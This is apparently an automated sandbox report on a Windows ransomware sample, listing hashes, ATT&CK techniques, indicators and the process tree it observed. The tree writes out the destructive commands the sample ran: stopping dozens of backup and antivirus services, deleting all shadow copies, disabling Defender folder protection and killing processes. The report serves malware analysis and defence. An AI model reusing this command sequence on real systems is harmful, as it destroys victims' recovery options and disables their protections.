cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Analysis

max time kernel
183s
max time network
127s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
14-12-2023 22:59

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General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

9^/10

ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (64) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1636 cmd.exe

pid	process
1636	cmd.exe

Drops startup file 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Enumerates connected drives 3 TTPs 16 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	process
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

1636 sc.exe
1016 sc.exe
956 sc.exe
2256 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
1636	sc.exe
1016	sc.exe
956	sc.exe
2256	sc.exe

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
1788	vssadmin.exe
768	vssadmin.exe
1840	vssadmin.exe
1400	vssadmin.exe
2888	vssadmin.exe
1872	vssadmin.exe
976	vssadmin.exe
1540	vssadmin.exe
2040	vssadmin.exe
2116	vssadmin.exe
1800	vssadmin.exe
2928	vssadmin.exe
916	vssadmin.exe
1848	vssadmin.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

2340 taskkill.exe
1888 taskkill.exe
2388 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

2108 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2784 PING.EXE

pid	process
2340	taskkill.exe
1888	taskkill.exe
2388	taskkill.exe

pid	process
2108	notepad.exe

pid	process
2784	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid	process
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exetaskkill.exetaskkill.exetaskkill.exevssvc.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	2340	taskkill.exe
Token: SeDebugPrivilege	2388	taskkill.exe
Token: SeDebugPrivilege	1888	taskkill.exe
Token: SeBackupPrivilege	1388	vssvc.exe
Token: SeRestorePrivilege	1388	vssvc.exe
Token: SeAuditPrivilege	1388	vssvc.exe
Token: SeDebugPrivilege	2588	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1384 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1384 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	pid	process	target process
PID 1384 wrote to memory of 2588	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1384 wrote to memory of 2588	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1384 wrote to memory of 2588	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1384 wrote to memory of 2588	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1384 wrote to memory of 2604	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2604	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2604	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2604	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2692	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2692	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2692	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2692	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2708	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2708	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2708	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2708	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2712	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2712	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2712	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2712	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2836	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net1.exe
PID 1384 wrote to memory of 2836	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net1.exe
PID 1384 wrote to memory of 2836	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net1.exe
PID 1384 wrote to memory of 2836	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net1.exe
PID 1384 wrote to memory of 2764	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2764	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2764	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2764	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2600	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2600	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2600	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2600	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2612	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2612	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2612	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2612	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2656	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2656	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2656	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2656	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2528	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2528	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2528	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2528	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2516	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2516	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2516	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2516	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2904	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2904	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2904	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2904	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2716	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2716	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2716	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2716	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2660	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2660	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2660	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2660	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2664	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2664	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2664	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1384 wrote to memory of 2664	1384	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1384
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:2712
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:588
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:2836
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:1648
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:2600
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:2648
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:2764
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:564
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:2492
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:3076
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:2892
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:2256
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2552
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:2800
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:1884
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:1932
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:2540
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:2760
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2448
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:2060
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:672
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:2872
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:2536
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:2696
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:2664
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:2736
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:2660
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:3140
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:2716
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:1660
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:2904
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:1016
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:2516
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:2136
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:2528
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:3124
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:2656
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:2824
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:2612
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:3132
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:2708
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:1496
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:2692
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:1248
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:2604
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:1964
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2588
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:872
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:3092
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:2016
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:1856
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:2224
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:1528
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:1680
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:2636
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:2036
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:1980
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:1096
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:1488
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:2156
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:3084
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:2012
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:3116
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:1480
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:3108
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:1736
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:2836
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:1092
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:2376
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2408
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:1768
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:1636
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:1068
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:3100
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2340
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2116
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
